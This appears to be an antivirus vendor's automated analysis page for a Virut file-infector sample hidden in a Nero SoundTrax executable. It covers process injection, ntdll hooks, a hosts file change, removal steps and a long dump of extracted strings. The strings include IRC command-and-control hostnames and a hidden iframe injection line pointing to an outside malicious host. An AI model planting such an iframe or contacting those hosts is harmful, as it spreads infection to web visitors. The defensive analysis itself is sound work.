Virus.Win32.Virut_73f3fd7f3e – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Virus creates the following process(es):No processes have been created.The Virus injects its code into the following process(es):

%original file name%.exe:632

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

No files have been created.

Registry activity

The process %original file name%.exe:632 makes changes in the system registry.

The Virus creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "61 CF F5 5E CC 3F F3 99 F7 34 F2 A1 54 12 56 4F"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

The Virus modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 734 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	jL.chura.pl

Rootkit activity

The Virus installs the following user-mode hooks in ntdll.dll:

NtQueryInformationProcess
ZwOpenFile
NtCreateProcessEx
NtCreateProcess
NtCreateFile

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Virus file.
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Nero AG
Product Name: Nero SoundTrax
Product Version: 1, 0, 0, 57
Legal Copyright: Copyright (c) 2003-2005 Nero AG and its licensors
Legal Trademarks: Nero SoundTrax
Original Filename: SoundTrax.exe
Internal Name: Nero SoundTrax
File Version: 1, 0, 0, 57
File Description: Nero SoundTrax
Comments:
Language: English (United States)

Company Name: Nero AGProduct Name: Nero SoundTraxProduct Version: 1, 0, 0, 57Legal Copyright: Copyright (c) 2003-2005 Nero AG and its licensorsLegal Trademarks: Nero SoundTraxOriginal Filename: SoundTrax.exeInternal Name: Nero SoundTraxFile Version: 1, 0, 0, 57File Description: Nero SoundTraxComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	837382	839680	4.57129	3f16146e196b649565119cef26271a50
.rdata	843776	174752	176128	3.15883	9e59043f91d38c38a60b1cbb9edf0e1a
.data	1019904	107732	90112	3.92241	8f430fe818c75815e4dac0f783f2a04f
.rsrc	1130496	827392	827392	4.2641	fa86fa407ff76f7c115e734a88aafb02

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Virus connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_632:

.text

`.rdata

.data

.rsrc

tcSSSh

SSSh(ZM

t!SSSShP

SSSSh@

.tTPV

FTPjK

FtPj;

F.PjRWj

u.WWj

u.VVj

u$SShe

@u.Wj

G.UPj

SSSh$sM

CLSID\{436F4AD7-C95B-4d2f-B0F8-8DC643F7A200}

CHotKeyCtrl

msctls_hotkey32

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

%*.*f

GDI32.DLL

{X-X-X-XX-XXXXXX}

MSWHEEL_ROLLMSG

File%d

windows

CNotSupportedException

CTL3D32.DLL

MSH_SCROLL_LINES_MSG

ddeexec

%s\ShellNew

%s\DefaultIcon

%s\shell\printto\%s

%s\shell\print\%s

%s\shell\open\%s

ole32.dll

__MSVCRT_HEAP_SELECT

user32.dll

portuguese-brazilian

ADVAPI32.dll

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyA

RegDeleteKeyA

RegEnumKeyExA

RegOpenKeyA

RegEnumKeyA

SHFOLDER.dll

WINMM.dll

VERSION.dll

GetWindowsDirectoryA

WinExec

GetCPInfo

KERNEL32.dll

GetKeyState

EnumChildWindows

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

GetAsyncKeyState

CreateDialogIndirectParamA

USER32.dll

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GDI32.dll

comdlg32.dll

WINSPOOL.DRV

ShellExecuteA

SHELL32.dll

COMCTL32.dll

oledlg.dll

OLEPRO32.DLL

OLEAUT32.dll

SHDeleteKeyA

SHLWAPI.dll

Nero.txt

\track%d.wav

Server%d

/%s%d%s

DefExportFormat

%.2f %s

PlaylistImport

NWE.CMainFrm.PostCreate

ShowCmd

LastWindowState

nero.exe

Software\Microsoft\Windows\CurrentVersion\App Path

%s|*%s||

NewTake%d.wav

%d:d

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\NCoverEd.exe

nero.cdc

\NeroAPI.dll

NeroImportIsoTrack

NeroImportIsoTrackEx

NeroImportDataTrack

%d %s

%d%s %.2d%s

%d %.3d %.3d %.3d

%d %.3d %.3d

%d %.3d

%d%s %.2d%s:%.3d

%d - %s

%x-%x-%x-%x

ID:0x%lX Cmd: 0x%X

Hilfe-Symbol-Name: %s

Res-Symbol-Name: %s

%d.%d.%d.%d

.PAVCResourceException@@

..\..\NERO\hlp\Nero.hm

KERNEL32.DLL

shdocvw.dll

Portuguese(Brazil)

Portuguese (Brazil)

SUBLANG_PORTUGUESE_BRAZILIAN

Portuguese

SUBLANG_PORTUGUESE

LANG_PORTUGUESE

*.hlp

*.chm

eng.hlp

eng.chm

Requested:%d

Present:%d

UniTranslator dictionary file 1.0.0.1

UniTranslator dictionary file 1.0.0.0

NeASL.dll

\winhlp32.exe

There was not enough memory to complete the operation.

The operating system denied

The .EXE file is invalid

(non-Win32 .EXE or error in .EXE image).

The operating system is out

<A WEBLINKID="e"><pre><a weblinkid="e"><pre>Serial6_%d</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\</pre><pre>SetSecurityDescriptorDacl Error %u</pre><pre>InitializeSecurityDescriptor Error %u</pre><pre>LocalAlloc Error %u</pre><pre>SetEntriesInAcl Error %u</pre><pre>AllocateAndInitializeSid Error %u</pre><pre>Windows Media Player</pre><pre>NeroDigitalPro!UninstallKey</pre><pre>NeroMultiMounter!UninstallKey</pre><pre>NeroMediaHome!UninstallKey</pre><pre>SIPPSTAR-PBX!UninstallKey</pre><pre>NeroBackItUp!UninstallKey</pre><pre>NeroRecode!UninstallKey</pre><pre>NeroShowTime!UninstallKey</pre><pre>NeroNet!UninstallKey</pre><pre>NMIX!UninstallKey</pre><pre>NMPUninstallKey</pre><pre>InCD!UninstallKey</pre><pre>Nero - Burning Rom!UninstallKey</pre><pre>NeroVision!UninstallKey</pre><pre>SIPPS!UninstallKey</pre><pre>SpecialOffer.exe</pre><pre>mp3PRO.dll</pre><pre>NeroDigitalExt.dll</pre><pre>NeroBurnPlugin.dll</pre><pre>NeVCD.ax</pre><pre>NeNDMux.ax</pre><pre>NDParser.ax</pre><pre>NeroBurnRights.exe</pre><pre>NeAudioConv.ax</pre><pre>NeDVD.ax</pre><pre>Neroshx.dll</pre><pre>PackageCreator.exe</pre><pre>DiscAgent.exe</pre><pre>PhotoSnapViewer.exe</pre><pre>PhotoSnap.exe</pre><pre>DMAManager.exe</pre><pre>AdvrCntr.dll</pre><pre>SetupX.exe</pre><pre>Setup.exe</pre><pre>BurnSupportDisc.exe</pre><pre>NeroDigitalVideoEncoder.ax</pre><pre>NeroDigitalAudioEncoder.ax</pre><pre>NeNDAud.ax</pre><pre>Aac.dll</pre><pre>NeroMediaCon.dll</pre><pre>NeVCR.dll</pre><pre>NeVCR.ax</pre><pre>NeRecode.dll</pre><pre>NeACenc.dll</pre><pre>NeAudio.ax</pre><pre>NeNDVid.ax</pre><pre>NeMPG.ax</pre><pre>NeVideo.ax</pre><pre>ShortCut.dll</pre><pre>TestNeroLicense.exe</pre><pre>NeroStartSmart.exe</pre><pre>InfoTool.exe</pre><pre>DriveSpeed.exe</pre><pre>CDSpeed.exe</pre><pre>ImageDrive.exe</pre><pre>SoundTrax.exe</pre><pre>CentralAMSvc.exe</pre><pre>GatewaySvc.exe</pre><pre>RTPProxySvc.exe</pre><pre>wizardui.exe</pre><pre>configui.exe</pre><pre>sip_proxySvc.exe</pre><pre>phone.exe</pre><pre>BackItUp.exe</pre><pre>NeroNET.exe</pre><pre>NeroMediaPlayer.exe</pre><pre>CoverDes.exe</pre><pre>WaveEdit.exe</pre><pre>InCDL.exe</pre><pre>InCD.exe</pre><pre>nnservicectrl.exe</pre><pre>NMSTranscoder.exe</pre><pre>NeroMediaHome.exe</pre><pre>moviemk.exe</pre><pre>WINWORD.EXE</pre><pre>POWERPNT.EXE</pre><pre>OUTLOOK.EXE</pre><pre>EXCEL.EXE</pre><pre>wmplayer.exe</pre><pre>NeNDConv.exe</pre><pre>Nero.exe</pre><pre>Recode.exe</pre><pre>NeroVision.exe</pre><pre>ShowTime.exe</pre><pre>NeroMix.exe</pre><pre>NLDBV$Revision: 1.18.2.65 $</pre><pre>CLSID\{4EC0690F-EA6F-4573-845F-782AD19F35DB}\InprocServer32</pre><pre>LicenseKey</pre><pre>CLSID\{C46FF1FF-78EF-4939-8B00-46273B7B8EE1}\InprocServer32</pre><pre>Burlywood</pre><pre>#XXX</pre><pre>\VMPEG2Enc.dll</pre><pre>\DVDMPEG2Enc.dll</pre><pre>\..\Shared\AudioPlugins\aacmp32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\nero.exe</pre><pre>\aacmp32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\NeroMediaPlayer.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Nero.exe</pre><pre>NeMP3Enc.dll</pre><pre>6, 6, 0, 13</pre><pre>HMPITM.exe</pre><pre>ddddd</pre><pre>NeRSDB.dll</pre><pre>GetASPI32SupportInfo</pre><pre>WNASPI32.DLL</pre><pre>SetupAPI.dll</pre><pre>.?AVCCmdTarget@@</pre><pre>.?AVCHotKeyCtrl@@</pre><pre>.PAVCException@@</pre><pre>.?AVCCmdUI@@</pre><pre>.?AVCTestCmdUI@@</pre><pre>.PAVCUserException@@</pre><pre>.PAVCArchiveException@@</pre><pre>.PAVCObject@@</pre><pre>.PAVCSimpleException@@</pre><pre>.?AVCStatusCmdUI@@</pre><pre>.?AVCToolCmdUI@@</pre><pre>.PAVCMemoryException@@</pre><pre>.PAVCNotSupportedException@@</pre><pre>.?AVCNotSupportedException@@</pre><pre>.PAVCFileException@@</pre><pre>.PAVCOleDispatchException@@</pre><pre>.PAVCOleException@@</pre><pre>zcÁ</pre><pre>c:\%original file name%.exe</pre><pre>[[[^^^```}}}</pre><pre>&&~%%{$/</pre><pre>.SHtR7</pre><pre>4441444</pre><pre>444\4443444</pre><pre>G..cmQQ</pre><pre>444\444!</pre><pre>444]444!</pre><pre>O..WkHH</pre><pre>444]444"</pre><pre>.dd\WMJ</pre><pre>.MMM00,</pre><pre>.MM00.</pre><pre>.JJ0.</pre><pre>444_4448444</pre><pre>444`4447444</pre><pre>444_4443444</pre><pre>4443444</pre><pre>=..|444&</pre><pre>4448444</pre><pre>?@-cfH}}X</pre><pre>gM5hI4R<(Q3#TB-W>.aC2XA1</pre><pre>eB"uN.jK-|U:P,</pre><pre>U0]7 mL-pI.pM0K.</pre><pre>a?gA#^<%dG(pH-hA*U7</pre><pre>K6#aG/^G.cC-T7"8)</pre><pre>eC.zT:xiJ</pre><pre>oUxXBoE.waC</pre><pre>nj.lT/H4</pre><pre>rA.rF0</pre><pre>tqQg8%sZ<</pre><pre>YA%S5</pre><pre>slOwE.aF,fZ></pre><pre>t]=Ê)</pre><pre>nB-uF.cO2D5#0=`</pre><pre>{\eF.cI1</pre><pre>uK1mF.WD.?/</pre><pre>ztU=\<%s]A</pre><pre>o9#kD.UE.</pre><pre>{pdK/sS;qX>iN5sV=oO6iL5kN7mM5[D,x[BhK0_C)eJ0dH.dI**</pre><pre>rP.mB</pre><pre>aP0~fHoS=mH.qV:lK4j\:</pre><pre>zE.jS5</pre><pre>dD.pD,~]?6</pre><pre>K9$mP%s[$aB1~pQ</pre><pre>gItS6tX7z_>rR7tY:yV:jL4fI.rM1k3</pre><pre>bG.hL3qT;sY@hM4iK5lT6mO6gJ2rT5jL2gL0[D&</pre><pre>_A'_B%uV9oT7iM/oR5mW7nV9gN-kM1r\;pN3d'</pre><pre>bK {eDoH.kL0}</pre><pre>zI)}K uL-zQ.vP/|V3</pre><pre>~eJcJ.pX;nP7pR9pY:iS8qY:pX9kT7pS:lU4mS7nP4iP5eN2hL3jR6mU8iO3gL3gL2lL4hN5kQ6hJ1I2</pre><pre>nbD3nI.xW<</pre><pre>~_8(!< ".!</pre><pre>jU7xL.lN6</pre><pre>{dM5xK.rV:</pre><pre>hjj3zx>dZ0aN.mN1nE*xD b2 k;</pre><pre>1d%U~<~VP</pre><pre>es}EmxB`b7[K3`J.nY0aN!gR.dF V9</pre><pre>NKS(UN.YN-\M*VB</pre><pre>List of audio files to import. Click an audio file to highlight it.</pre><pre>Select the default file format that should be used when exporting audio files from SoundTrax.</pre><pre>Enter the directory where the exported tracks should be saved.</pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>version="6.0.0.0"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre>ADVAPI32.DLL</pre><pre>\RUNDLL32.EXE</pre><pre>%s:*:enabled:@shell32.dll,-1</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer</pre><pre>irc.zief.pl</pre><pre>proxim.ircgalaxy.pl</pre><pre>NICK kefqbevr</pre><pre>SFC.DLL</pre><pre>SFC_OS.DLL</pre><pre>USER32.DLL</pre><pre>SHLWAPI.DLL</pre><pre>WSOCK32.DLL</pre><pre>WININET.DLL</pre><pre>%.6x . . :%c%.8x%x %s</pre><pre>JOIN</pre><pre>127.0.0.1 jL.chura.pl</pre><pre>#<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe></pre><pre>?.chuu</pre><pre>windowsupdate</pre><pre>drweb</pre><pre>1, 0, 0, 57</pre><pre>{E6674EE4-57B1-42F2-A953-43705B992AD5}</pre><pre>{8352EDFE-28C3-4012-90BC-43B0AF7B7E57}</pre><pre>Default export file format:</pre><pre>Audio files to import:</pre><pre>{A8DC3A14-CBFC-4BE8-995D-2FDB6C7AA9F2}</pre><pre>{3CEC18D8-3C79-4570-82E6-81D54AB300C3}</pre><pre>{A7F78220-7648-4826-837B-6001E2AD7824}</pre><pre>Export CD Tracks to Audio Files</pre><pre>Export CD Tracks to Audio Files...</pre><pre>&Export to Audio File...</pre><pre>About %s</pre><pre>Version: %s</pre><pre>Name: %s</pre><pre>Company: %s</pre><pre>http://www.microsoft.com/windows/ie</pre><pre>Nero SoundTrax Project Files (*.npf)</pre><pre>SoundTrax.Project</pre><pre>Duration of object: %sTNero SoundTrax could not find any audio file filter plug-ins. Please reinstall Nero..Wave Files (*.wav)|*.wav|All Files (*.*)|*.*||</pre><pre>%d minutes</pre><pre>Transport Bar</pre><pre>%d hours</pre><pre>Track %d!Could not measure tempo of clips.TNero SoundTrax could not find any audio file filter plug-ins. Please reinstall Nero.&%s (Volume label: %s, File system: %s);An error occurred while trying to open the Nero Wave Editor</pre><pre>Unable to create file %s.</pre><pre>Track %d</pre><pre>Ready%Select an object on which to get Help</pre><pre>Help<Display help for clicked-on buttons><pre>Assignable Effect Group %dJThe selected item is not an assignable effect group and cannot be removed.</pre><pre>FX G%d!The two clips have the same tempo</pre><pre>Exporting</pre><pre>, %d%% done4NeroAPI was not able to open the selected CD device.</pre><pre>CD Track %d!There is no CD-RW in the recorder</pre><pre>CD Index %d,The selected recorder does not support CD-RW</pre><pre>%dx (%d KB per second)?The inserted CD-RW is not empty. Do you wish to erase the disc?%An error occurred while importing %s.MUnable to open the file %s which is referenced by the Nero SoundTrax project.</pre><pre>Burn CD.Change property settings of the selected track</pre><pre>%d:%.1d:%.3d</pre><pre>Track %d of %d</pre><pre>(fixed speed)IPlease insert a CDR or just click OK if you are using the Image Recorder./Image Files (*.nrg)|*.nrg|All Files (*.*)|*.*||</pre><pre>Use a linear crossfade function%Use an exponential crossfade function$Use a logarithmic crossfade function#Use a sinusoidal crossfade function</pre><pre>Pan (in %)4An error occurred while trying to access the NeroAPI1No compatible recorders were found on this system*Playlist File (*.pls; *.m3u)|*.pls;*.m3u||</pre><pre>All Files (*.*)|*.*|&Volume Slider (range -40 dB to 12 dB)/Pan Slider (range -100% = left to 100% = right)(Track Level Meter (range -60 dB to 0 dB)</pre><pre>Vol: %d dB</pre><pre>Pan: %d %%</pre><pre>Step %d of %d:</pre><pre>Grid line at each 8th triplet9Opens the effect chain editor for the master effect chain.The file is not a Nero SoundTrax project file.</pre><pre>Effect Files (*.eff)</pre><pre>EffectBrowser.Document</pre><pre>%d BPM</pre><pre>Creating peak file, %d%% done.</pre><pre>Play Looped<Export the content of each CD Track to a separate audio file><pre>VThis operation will remove the content of the current project. Do you want to proceed?</pre><pre>Version %d.%d.%d.%d</pre><pre>Insert Audio File(s)ZThis operation deletes the track and its entire content. Are you sure you want to proceed?</pre><pre>Title: %s, Artist: %s</pre><pre>There are too many CD tracks in the project. The Audio CD standard does not support more than 98 CD tracks. Some CD tracks were truncated</pre><pre>Select the maximum noise level in pauses between tracks and the minimum length of pauses and tracks. Click "Detect" to scan the recording with new settings.vSet the length of the pause between tracks or the length of the overlap if you want tracks crossfaded into each other.lAdjust the level of noise reduction to what you find optimal. You can hear the result by clicking "preview".</pre><pre>All Files (*.*)</pre><pre>No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.</pre><pre>Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.</pre><pre>Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.</pre><pre>Access to %1 was denied..An invalid file handle was associated with %1.<%1 could not be removed because it is the current directory.6%1 could not be created because the directory is full.</pre><pre>Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.</pre><pre>Disk full while accessing %1..An attempt was made to access %1 past its end.</pre><pre>No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.</pre><pre>#Unable to load mail system support.</pre><pre>%The help file cannot be opened: %1!s! No Help topic is associated with this item.PThe license you are currently using does not allow you to start this application</pre><pre>This version of the application cannot be run in this language. Please visit our Web site at www.nero.com to purchase an unlimited serial number.</pre><pre>Visit <a weblinkid="%i">our support pages</a> for more information about manuals and help files.</pre><b>%original file name%.exe_632_rwx_005C8000_00005000:</b><pre>ADVAPI32.DLL</pre><pre>\RUNDLL32.EXE</pre><pre>%s:*:enabled:@shell32.dll,-1</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer</pre><pre>irc.zief.pl</pre><pre>proxim.ircgalaxy.pl</pre><pre>NICK kefqbevr</pre><pre>SFC.DLL</pre><pre>SFC_OS.DLL</pre><pre>USER32.DLL</pre><pre>SHLWAPI.DLL</pre><pre>WSOCK32.DLL</pre><pre>WININET.DLL</pre><pre>%.6x . . :%c%.8x%x %s</pre><pre>JOIN</pre><pre>127.0.0.1 jL.chura.pl</pre><pre>#<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe></pre><pre>?.chuu</pre><pre>KERNEL32.DLL</pre><pre>windowsupdate</pre><pre>drweb</pre></Export></pre></Display></pre></pre></pre></a></pre></A>

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps